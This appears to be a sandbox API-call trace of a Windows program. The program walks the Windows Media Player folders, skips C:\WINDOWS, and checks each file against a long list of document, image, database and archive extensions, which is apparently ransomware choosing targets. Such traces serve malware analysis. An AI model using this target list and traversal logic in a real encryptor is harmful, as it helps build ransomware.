	[0180.845] lstrcmpiW (lpString1=".raf", lpString2=".exe") returned 1
	[0180.845] lstrlenW (lpString=".rar") returned 4
	[0180.845] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0180.845] lstrlenW (lpString=".raw") returned 4
	[0180.845] lstrcmpiW (lpString1=".raw", lpString2=".exe") returned 1
	[0180.846] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88286500, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x1c0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1
	[0180.846] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c66b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skins", cAlternateFileName="")) returned 1
	[0180.846] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4094fb8
	[0180.847] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Skins\\*", lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c66b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e7a8
	[0180.847] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c66b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0180.847] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fd93f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xa8035d00, ftLastWriteTime.dwHighDateTime=0x1d29f92, nFileSizeHigh=0x0, nFileSizeLow=0x11550, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Revert.wmz", cAlternateFileName="")) returned 1
	[0180.847] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fd93f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xa8035d00, ftLastWriteTime.dwHighDateTime=0x1d29f92, nFileSizeHigh=0x0, nFileSizeLow=0x11550, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Revert.wmz", cAlternateFileName="")) returned 0
	[0180.847] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0180.847] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0180.848] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1
	[0180.848] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Visualizations") returned 52
	[0180.848] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Windows Media Player\\Visualizations") returned 1
	[0180.848] lstrlenW (lpString="Visualizations") returned 14
	[0180.848] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Visualizations") returned -1
	[0180.848] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4094fb8
	[0180.848] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Visualizations") returned 52
	[0180.848] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Visualizations\\*", lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e6e8
	[0180.848] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0180.848] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0
	[0180.848] FindClose (in: hFindFile=0x76e6e8 | out: hFindFile=0x76e6e8) returned 1
	[0180.848] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0180.848] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f0da9a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb49bb00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1
	[0180.848] lstrlenW (lpString="wmlaunch.exe") returned 12
	[0180.848] lstrlenW (lpString=".1cd") returned 4
	[0180.849] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0180.849] lstrlenW (lpString=".3ds") returned 4
	[0180.849] lstrcmpiW (lpString1=".3ds", lpString2=".exe") returned -1
	[0180.849] lstrlenW (lpString=".3fr") returned 4
	[0180.849] lstrcmpiW (lpString1=".3fr", lpString2=".exe") returned -1
	[0180.849] lstrlenW (lpString=".3g2") returned 4
	[0180.849] lstrcmpiW (lpString1=".3g2", lpString2=".exe") returned -1
	[0180.849] lstrlenW (lpString=".3gp") returned 4
	[0180.849] lstrcmpiW (lpString1=".3gp", lpString2=".exe") returned -1
	[0180.849] lstrlenW (lpString=".7z") returned 3
	[0180.849] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0180.849] lstrlenW (lpString=".accda") returned 6
	[0180.849] lstrcmpiW (lpString1=".accda", lpString2="ch.exe") returned -1
	[0180.849] lstrlenW (lpString=".accdb") returned 6
	[0180.849] lstrcmpiW (lpString1=".accdb", lpString2="ch.exe") returned -1
	[0180.849] lstrlenW (lpString=".accdc") returned 6
	[0180.849] lstrcmpiW (lpString1=".accdc", lpString2="ch.exe") returned -1
	[0180.850] lstrlenW (lpString=".accde") returned 6
	[0180.850] lstrcmpiW (lpString1=".accde", lpString2="ch.exe") returned -1
	[0180.850] lstrlenW (lpString=".accdt") returned 6
	[0180.850] lstrcmpiW (lpString1=".accdt", lpString2="ch.exe") returned -1
	[0180.850] lstrlenW (lpString=".accdw") returned 6
	[0180.850] lstrcmpiW (lpString1=".accdw", lpString2="ch.exe") returned -1
	[0180.850] lstrlenW (lpString=".adb") returned 4
	[0180.850] lstrcmpiW (lpString1=".adb", lpString2=".exe") returned -1
	[0180.850] lstrlenW (lpString=".adp") returned 4
	[0180.850] lstrcmpiW (lpString1=".adp", lpString2=".exe") returned -1
	[0180.850] lstrlenW (lpString=".ai") returned 3
	[0180.850] lstrcmpiW (lpString1=".ai", lpString2="exe") returned -1
	[0180.850] lstrlenW (lpString=".ai3") returned 4
	[0180.850] lstrcmpiW (lpString1=".ai3", lpString2=".exe") returned -1
	[0180.850] lstrlenW (lpString=".ai4") returned 4
	[0180.850] lstrcmpiW (lpString1=".ai4", lpString2=".exe") returned -1
	[0180.850] lstrlenW (lpString=".ai5") returned 4
	[0180.850] lstrcmpiW (lpString1=".ai5", lpString2=".exe") returned -1
	[0180.850] lstrlenW (lpString=".ai6") returned 4
	[0180.850] lstrcmpiW (lpString1=".ai6", lpString2=".exe") returned -1
	[0180.850] lstrlenW (lpString=".ai7") returned 4
	[0180.850] lstrcmpiW (lpString1=".ai7", lpString2=".exe") returned -1
	[0180.850] lstrlenW (lpString=".ai8") returned 4
	[0180.850] lstrcmpiW (lpString1=".ai8", lpString2=".exe") returned -1
	[0180.850] lstrlenW (lpString=".anim") returned 5
	[0180.850] lstrcmpiW (lpString1=".anim", lpString2="h.exe") returned -1
	[0180.850] lstrlenW (lpString=".arw") returned 4
	[0180.851] lstrcmpiW (lpString1=".arw", lpString2=".exe") returned -1
	[0180.851] lstrlenW (lpString=".as") returned 3
	[0180.851] lstrcmpiW (lpString1=".as", lpString2="exe") returned -1
	[0180.851] lstrlenW (lpString=".asa") returned 4
	[0180.851] lstrcmpiW (lpString1=".asa", lpString2=".exe") returned -1
	[0180.851] lstrlenW (lpString=".asc") returned 4
	[0180.851] lstrcmpiW (lpString1=".asc", lpString2=".exe") returned -1
	[0180.851] lstrlenW (lpString=".ascx") returned 5
	[0180.851] lstrcmpiW (lpString1=".ascx", lpString2="h.exe") returned -1
	[0180.851] lstrlenW (lpString=".asm") returned 4
	[0180.851] lstrcmpiW (lpString1=".asm", lpString2=".exe") returned -1
	[0180.851] lstrlenW (lpString=".asmx") returned 5
	[0180.851] lstrcmpiW (lpString1=".asmx", lpString2="h.exe") returned -1
	[0180.851] lstrlenW (lpString=".asp") returned 4
	[0180.851] lstrcmpiW (lpString1=".asp", lpString2=".exe") returned -1
	[0180.851] lstrlenW (lpString=".aspx") returned 5
	[0180.851] lstrcmpiW (lpString1=".aspx", lpString2="h.exe") returned -1
	[0180.851] lstrlenW (lpString=".asr") returned 4
	[0180.851] lstrcmpiW (lpString1=".asr", lpString2=".exe") returned -1
	[0180.851] lstrlenW (lpString=".asx") returned 4
	[0180.851] lstrcmpiW (lpString1=".asx", lpString2=".exe") returned -1
	[0180.851] lstrlenW (lpString=".avi") returned 4
	[0180.851] lstrcmpiW (lpString1=".avi", lpString2=".exe") returned -1
	[0180.852] lstrlenW (lpString=".avs") returned 4
	[0180.852] lstrcmpiW (lpString1=".avs", lpString2=".exe") returned -1
	[0180.852] lstrlenW (lpString=".backup") returned 7
	[0180.852] lstrcmpiW (lpString1=".backup", lpString2="nch.exe") returned -1
	[0180.852] lstrlenW (lpString=".bak") returned 4
	[0180.852] lstrcmpiW (lpString1=".bak", lpString2=".exe") returned -1
	[0180.852] lstrlenW (lpString=".bay") returned 4
	[0180.852] lstrcmpiW (lpString1=".bay", lpString2=".exe") returned -1
	[0180.852] lstrlenW (lpString=".bd") returned 3
	[0180.852] lstrcmpiW (lpString1=".bd", lpString2="exe") returned -1
	[0180.852] lstrlenW (lpString=".bin") returned 4
	[0180.852] lstrcmpiW (lpString1=".bin", lpString2=".exe") returned -1
	[0180.852] lstrlenW (lpString=".bmp") returned 4
	[0180.852] lstrcmpiW (lpString1=".bmp", lpString2=".exe") returned -1
	[0180.852] lstrlenW (lpString=".bz2") returned 4
	[0180.852] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0180.852] lstrlenW (lpString=".c") returned 2
	[0180.852] lstrcmpiW (lpString1=".c", lpString2="xe") returned -1
	[0180.852] lstrlenW (lpString=".cdr") returned 4
	[0180.852] lstrcmpiW (lpString1=".cdr", lpString2=".exe") returned -1
	[0180.852] lstrlenW (lpString=".cer") returned 4
	[0180.852] lstrcmpiW (lpString1=".cer", lpString2=".exe") returned -1
	[0180.852] lstrlenW (lpString=".cf") returned 3
	[0180.852] lstrcmpiW (lpString1=".cf", lpString2="exe") returned -1
	[0180.852] lstrlenW (lpString=".cfc") returned 4
	[0180.852] lstrcmpiW (lpString1=".cfc", lpString2=".exe") returned -1
	[0180.852] lstrlenW (lpString=".cfm") returned 4
	[0180.852] lstrcmpiW (lpString1=".cfm", lpString2=".exe") returned -1
	[0180.853] lstrlenW (lpString=".cfml") returned 5
	[0180.853] lstrcmpiW (lpString1=".cfml", lpString2="h.exe") returned -1
	[0180.853] lstrlenW (lpString=".cfu") returned 4
	[0180.853] lstrcmpiW (lpString1=".cfu", lpString2=".exe") returned -1
	[0180.853] lstrlenW (lpString=".chm") returned 4
	[0180.853] lstrcmpiW (lpString1=".chm", lpString2=".exe") returned -1
	[0180.853] lstrlenW (lpString=".cin") returned 4
	[0180.853] lstrcmpiW (lpString1=".cin", lpString2=".exe") returned -1
	[0180.853] lstrlenW (lpString=".class") returned 6
	[0180.853] lstrcmpiW (lpString1=".class", lpString2="ch.exe") returned -1
	[0180.853] lstrlenW (lpString=".clx") returned 4
	[0180.853] lstrcmpiW (lpString1=".clx", lpString2=".exe") returned -1
	[0180.853] lstrlenW (lpString=".config") returned 7
	[0180.853] lstrcmpiW (lpString1=".config", lpString2="nch.exe") returned -1
	[0180.853] lstrlenW (lpString=".cpp") returned 4
	[0180.853] lstrcmpiW (lpString1=".cpp", lpString2=".exe") returned -1
	[0180.853] lstrlenW (lpString=".cr2") returned 4
	[0180.853] lstrcmpiW (lpString1=".cr2", lpString2=".exe") returned -1
	[0180.853] lstrlenW (lpString=".crt") returned 4
	[0180.853] lstrcmpiW (lpString1=".crt", lpString2=".exe") returned -1
	[0180.853] lstrlenW (lpString=".crw") returned 4
	[0180.853] lstrcmpiW (lpString1=".crw", lpString2=".exe") returned -1
	[0180.853] lstrlenW (lpString=".cs") returned 3
	[0180.853] lstrcmpiW (lpString1=".cs", lpString2="exe") returned -1
	[0180.853] lstrlenW (lpString=".css") returned 4
	[0180.853] lstrcmpiW (lpString1=".css", lpString2=".exe") returned -1
	[0180.853] lstrlenW (lpString=".csv") returned 4
	[0180.853] lstrcmpiW (lpString1=".csv", lpString2=".exe") returned -1
	[0180.854] lstrlenW (lpString=".cub") returned 4
	[0180.854] lstrcmpiW (lpString1=".cub", lpString2=".exe") returned -1
	[0180.854] lstrlenW (lpString=".dae") returned 4
	[0180.854] lstrcmpiW (lpString1=".dae", lpString2=".exe") returned -1
	[0180.854] lstrlenW (lpString=".dat") returned 4
	[0180.854] lstrcmpiW (lpString1=".dat", lpString2=".exe") returned -1
	[0180.854] lstrlenW (lpString=".db") returned 3
	[0180.854] lstrcmpiW (lpString1=".db", lpString2="exe") returned -1
	[0180.854] lstrlenW (lpString=".dbf") returned 4
	[0180.854] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0180.854] lstrlenW (lpString=".dbx") returned 4
	[0180.854] lstrcmpiW (lpString1=".dbx", lpString2=".exe") returned -1
	[0180.854] lstrlenW (lpString=".dc3") returned 4
	[0180.854] lstrcmpiW (lpString1=".dc3", lpString2=".exe") returned -1
	[0180.854] lstrlenW (lpString=".dcm") returned 4
	[0180.854] lstrcmpiW (lpString1=".dcm", lpString2=".exe") returned -1
	[0180.854] lstrlenW (lpString=".dcr") returned 4
	[0180.854] lstrcmpiW (lpString1=".dcr", lpString2=".exe") returned -1
	[0180.854] lstrlenW (lpString=".der") returned 4
	[0180.854] lstrcmpiW (lpString1=".der", lpString2=".exe") returned -1
	[0180.854] lstrlenW (lpString=".dib") returned 4
	[0180.854] lstrcmpiW (lpString1=".dib", lpString2=".exe") returned -1
	[0180.854] lstrlenW (lpString=".dic") returned 4
	[0180.854] lstrcmpiW (lpString1=".dic", lpString2=".exe") returned -1
	[0180.854] lstrlenW (lpString=".dif") returned 4
	[0180.854] lstrcmpiW (lpString1=".dif", lpString2=".exe") returned -1
	[0180.854] lstrlenW (lpString=".divx") returned 5
	[0180.855] lstrcmpiW (lpString1=".divx", lpString2="h.exe") returned -1
	[0180.855] lstrlenW (lpString=".djvu") returned 5
	[0180.855] lstrcmpiW (lpString1=".djvu", lpString2="h.exe") returned -1
	[0180.855] lstrlenW (lpString=".dng") returned 4
	[0180.855] lstrcmpiW (lpString1=".dng", lpString2=".exe") returned -1
	[0180.855] lstrlenW (lpString=".doc") returned 4
	[0180.855] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0180.855] lstrlenW (lpString=".docm") returned 5
	[0180.855] lstrcmpiW (lpString1=".docm", lpString2="h.exe") returned -1
	[0180.855] lstrlenW (lpString=".docx") returned 5
	[0180.855] lstrcmpiW (lpString1=".docx", lpString2="h.exe") returned -1
	[0180.855] lstrlenW (lpString=".dot") returned 4
	[0180.855] lstrcmpiW (lpString1=".dot", lpString2=".exe") returned -1
	[0180.855] lstrlenW (lpString=".dotm") returned 5
	[0180.855] lstrcmpiW (lpString1=".dotm", lpString2="h.exe") returned -1
	[0180.855] lstrlenW (lpString=".dotx") returned 5
	[0180.855] lstrcmpiW (lpString1=".dotx", lpString2="h.exe") returned -1
	[0180.855] lstrlenW (lpString=".dpx") returned 4
	[0180.855] lstrcmpiW (lpString1=".dpx", lpString2=".exe") returned -1
	[0180.855] lstrlenW (lpString=".dqy") returned 4
	[0180.855] lstrcmpiW (lpString1=".dqy", lpString2=".exe") returned -1
	[0180.855] lstrlenW (lpString=".dsn") returned 4
	[0180.855] lstrcmpiW (lpString1=".dsn", lpString2=".exe") returned -1
	[0180.855] lstrlenW (lpString=".dt") returned 3
	[0180.855] lstrcmpiW (lpString1=".dt", lpString2="exe") returned -1
	[0180.855] lstrlenW (lpString=".dtd") returned 4
	[0180.855] lstrcmpiW (lpString1=".dtd", lpString2=".exe") returned -1
	[0180.855] lstrlenW (lpString=".dwg") returned 4
	[0180.856] lstrcmpiW (lpString1=".dwg", lpString2=".exe") returned -1
	[0180.856] lstrlenW (lpString=".dwt") returned 4
	[0180.856] lstrcmpiW (lpString1=".dwt", lpString2=".exe") returned -1
	[0180.856] lstrlenW (lpString=".dx") returned 3
	[0180.856] lstrcmpiW (lpString1=".dx", lpString2="exe") returned -1
	[0180.856] lstrlenW (lpString=".dxf") returned 4
	[0180.856] lstrcmpiW (lpString1=".dxf", lpString2=".exe") returned -1
	[0180.856] lstrlenW (lpString=".edml") returned 5
	[0180.856] lstrcmpiW (lpString1=".edml", lpString2="h.exe") returned -1
	[0180.856] lstrlenW (lpString=".efd") returned 4
	[0180.856] lstrcmpiW (lpString1=".efd", lpString2=".exe") returned -1
	[0180.856] lstrlenW (lpString=".elf") returned 4
	[0180.856] lstrcmpiW (lpString1=".elf", lpString2=".exe") returned -1
	[0180.856] lstrlenW (lpString=".emf") returned 4
	[0180.856] lstrcmpiW (lpString1=".emf", lpString2=".exe") returned -1
	[0180.856] lstrlenW (lpString=".emz") returned 4
	[0180.856] lstrcmpiW (lpString1=".emz", lpString2=".exe") returned -1
	[0180.856] lstrlenW (lpString=".epf") returned 4
	[0180.856] lstrcmpiW (lpString1=".epf", lpString2=".exe") returned -1
	[0180.856] lstrlenW (lpString=".eps") returned 4
	[0180.856] lstrcmpiW (lpString1=".eps", lpString2=".exe") returned -1
	[0180.856] lstrlenW (lpString=".epsf") returned 5
	[0180.856] lstrcmpiW (lpString1=".epsf", lpString2="h.exe") returned -1
	[0180.856] lstrlenW (lpString=".epsp") returned 5
	[0180.856] lstrcmpiW (lpString1=".epsp", lpString2="h.exe") returned -1
	[0180.856] lstrlenW (lpString=".erf") returned 4
	[0180.856] lstrcmpiW (lpString1=".erf", lpString2=".exe") returned -1
	[0180.857] lstrlenW (lpString=".exr") returned 4
	[0180.857] lstrcmpiW (lpString1=".exr", lpString2=".exe") returned 1
	[0180.857] lstrlenW (lpString=".f4v") returned 4
	[0180.857] lstrcmpiW (lpString1=".f4v", lpString2=".exe") returned 1
	[0180.857] lstrlenW (lpString=".fido") returned 5
	[0180.857] lstrcmpiW (lpString1=".fido", lpString2="h.exe") returned -1
	[0180.857] lstrlenW (lpString=".flm") returned 4
	[0180.857] lstrcmpiW (lpString1=".flm", lpString2=".exe") returned 1
	[0180.857] lstrlenW (lpString=".flv") returned 4
	[0180.857] lstrcmpiW (lpString1=".flv", lpString2=".exe") returned 1
	[0180.857] lstrlenW (lpString=".frm") returned 4
	[0180.857] lstrcmpiW (lpString1=".frm", lpString2=".exe") returned 1
	[0180.857] lstrlenW (lpString=".fxg") returned 4
	[0180.857] lstrcmpiW (lpString1=".fxg", lpString2=".exe") returned 1
	[0180.857] lstrlenW (lpString=".geo") returned 4
	[0180.857] lstrcmpiW (lpString1=".geo", lpString2=".exe") returned 1
	[0180.857] lstrlenW (lpString=".gif") returned 4
	[0180.857] lstrcmpiW (lpString1=".gif", lpString2=".exe") returned 1
	[0180.857] lstrlenW (lpString=".grs") returned 4
	[0180.857] lstrcmpiW (lpString1=".grs", lpString2=".exe") returned 1
	[0180.857] lstrlenW (lpString=".gz") returned 3
	[0180.857] lstrcmpiW (lpString1=".gz", lpString2="exe") returned -1
	[0180.857] lstrlenW (lpString=".h") returned 2
	[0180.857] lstrcmpiW (lpString1=".h", lpString2="xe") returned -1
	[0180.857] lstrlenW (lpString=".hdr") returned 4
	[0180.857] lstrcmpiW (lpString1=".hdr", lpString2=".exe") returned 1
	[0180.857] lstrlenW (lpString=".hpp") returned 4
	[0180.857] lstrcmpiW (lpString1=".hpp", lpString2=".exe") returned 1
	[0180.858] lstrlenW (lpString=".hta") returned 4
	[0180.858] lstrcmpiW (lpString1=".hta", lpString2=".exe") returned 1
	[0180.858] lstrlenW (lpString=".htc") returned 4
	[0180.858] lstrcmpiW (lpString1=".htc", lpString2=".exe") returned 1
	[0180.858] lstrlenW (lpString=".htm") returned 4
	[0180.858] lstrcmpiW (lpString1=".htm", lpString2=".exe") returned 1
	[0180.858] lstrlenW (lpString=".html") returned 5
	[0180.858] lstrcmpiW (lpString1=".html", lpString2="h.exe") returned -1
	[0180.858] lstrlenW (lpString=".icb") returned 4
	[0180.858] lstrcmpiW (lpString1=".icb", lpString2=".exe") returned 1
	[0180.858] lstrlenW (lpString=".ics") returned 4
	[0180.858] lstrcmpiW (lpString1=".ics", lpString2=".exe") returned 1
	[0180.858] lstrlenW (lpString=".iff") returned 4
	[0180.858] lstrcmpiW (lpString1=".iff", lpString2=".exe") returned 1
	[0180.858] lstrlenW (lpString=".inc") returned 4
	[0180.858] lstrcmpiW (lpString1=".inc", lpString2=".exe") returned 1
	[0180.858] lstrlenW (lpString=".indd") returned 5
	[0180.858] lstrcmpiW (lpString1=".indd", lpString2="h.exe") returned -1
	[0180.858] lstrlenW (lpString=".ini") returned 4
	[0180.858] lstrcmpiW (lpString1=".ini", lpString2=".exe") returned 1
	[0180.858] lstrlenW (lpString=".iqy") returned 4
	[0180.858] lstrcmpiW (lpString1=".iqy", lpString2=".exe") returned 1
	[0180.858] lstrlenW (lpString=".j2c") returned 4
	[0180.858] lstrcmpiW (lpString1=".j2c", lpString2=".exe") returned 1
	[0180.858] lstrlenW (lpString=".j2k") returned 4
	[0180.862] lstrcmpiW (lpString1=".j2k", lpString2=".exe") returned 1
	[0180.862] lstrlenW (lpString=".java") returned 5
	[0180.862] lstrcmpiW (lpString1=".java", lpString2="h.exe") returned -1
	[0180.862] lstrlenW (lpString=".jp2") returned 4
	[0180.862] lstrcmpiW (lpString1=".jp2", lpString2=".exe") returned 1
	[0180.863] lstrlenW (lpString=".jpc") returned 4
	[0180.863] lstrcmpiW (lpString1=".jpc", lpString2=".exe") returned 1
	[0180.863] lstrlenW (lpString=".jpe") returned 4
	[0180.863] lstrcmpiW (lpString1=".jpe", lpString2=".exe") returned 1
	[0180.863] lstrlenW (lpString=".jpeg") returned 5
	[0180.863] lstrcmpiW (lpString1=".jpeg", lpString2="h.exe") returned -1
	[0180.863] lstrlenW (lpString=".jpf") returned 4
	[0180.863] lstrcmpiW (lpString1=".jpf", lpString2=".exe") returned 1
	[0180.863] lstrlenW (lpString=".jpg") returned 4
	[0180.863] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0180.863] lstrlenW (lpString=".jpx") returned 4
	[0180.863] lstrcmpiW (lpString1=".jpx", lpString2=".exe") returned 1
	[0180.863] lstrlenW (lpString=".js") returned 3
	[0180.863] lstrcmpiW (lpString1=".js", lpString2="exe") returned -1
	[0180.863] lstrlenW (lpString=".jsf") returned 4
	[0180.863] lstrcmpiW (lpString1=".jsf", lpString2=".exe") returned 1
	[0180.863] lstrlenW (lpString=".json") returned 5
	[0180.863] lstrcmpiW (lpString1=".json", lpString2="h.exe") returned -1
	[0180.863] lstrlenW (lpString=".jsp") returned 4
	[0180.863] lstrcmpiW (lpString1=".jsp", lpString2=".exe") returned 1
	[0180.863] lstrlenW (lpString=".kdc") returned 4
	[0180.863] lstrcmpiW (lpString1=".kdc", lpString2=".exe") returned 1
	[0180.863] lstrlenW (lpString=".kmz") returned 4
	[0180.863] lstrcmpiW (lpString1=".kmz", lpString2=".exe") returned 1
	[0180.863] lstrlenW (lpString=".kwm") returned 4
	[0180.863] lstrcmpiW (lpString1=".kwm", lpString2=".exe") returned 1
	[0180.863] lstrlenW (lpString=".lasso") returned 6
	[0180.864] lstrcmpiW (lpString1=".lasso", lpString2="ch.exe") returned -1
	[0180.864] lstrlenW (lpString=".lbi") returned 4
	[0180.864] lstrcmpiW (lpString1=".lbi", lpString2=".exe") returned 1
	[0180.864] lstrlenW (lpString=".lgf") returned 4
	[0180.864] lstrcmpiW (lpString1=".lgf", lpString2=".exe") returned 1
	[0180.864] lstrlenW (lpString=".lgp") returned 4
	[0180.864] lstrcmpiW (lpString1=".lgp", lpString2=".exe") returned 1
	[0180.864] lstrlenW (lpString=".log") returned 4
	[0180.864] lstrcmpiW (lpString1=".log", lpString2=".exe") returned 1
	[0180.864] lstrlenW (lpString=".m1v") returned 4
	[0180.864] lstrcmpiW (lpString1=".m1v", lpString2=".exe") returned 1
	[0180.864] lstrlenW (lpString=".m4a") returned 4
	[0180.864] lstrcmpiW (lpString1=".m4a", lpString2=".exe") returned 1
	[0180.864] lstrlenW (lpString=".m4v") returned 4
	[0180.864] lstrcmpiW (lpString1=".m4v", lpString2=".exe") returned 1
	[0180.864] lstrlenW (lpString=".max") returned 4
	[0180.864] lstrcmpiW (lpString1=".max", lpString2=".exe") returned 1
	[0180.864] lstrlenW (lpString=".md") returned 3
	[0180.864] lstrcmpiW (lpString1=".md", lpString2="exe") returned -1
	[0180.864] lstrlenW (lpString=".mda") returned 4
	[0180.864] lstrcmpiW (lpString1=".mda", lpString2=".exe") returned 1
	[0180.864] lstrlenW (lpString=".mdb") returned 4
	[0180.864] lstrcmpiW (lpString1=".mdb", lpString2=".exe") returned 1
	[0180.864] lstrlenW (lpString=".mde") returned 4
	[0180.864] lstrcmpiW (lpString1=".mde", lpString2=".exe") returned 1
	[0180.864] lstrlenW (lpString=".mdf") returned 4
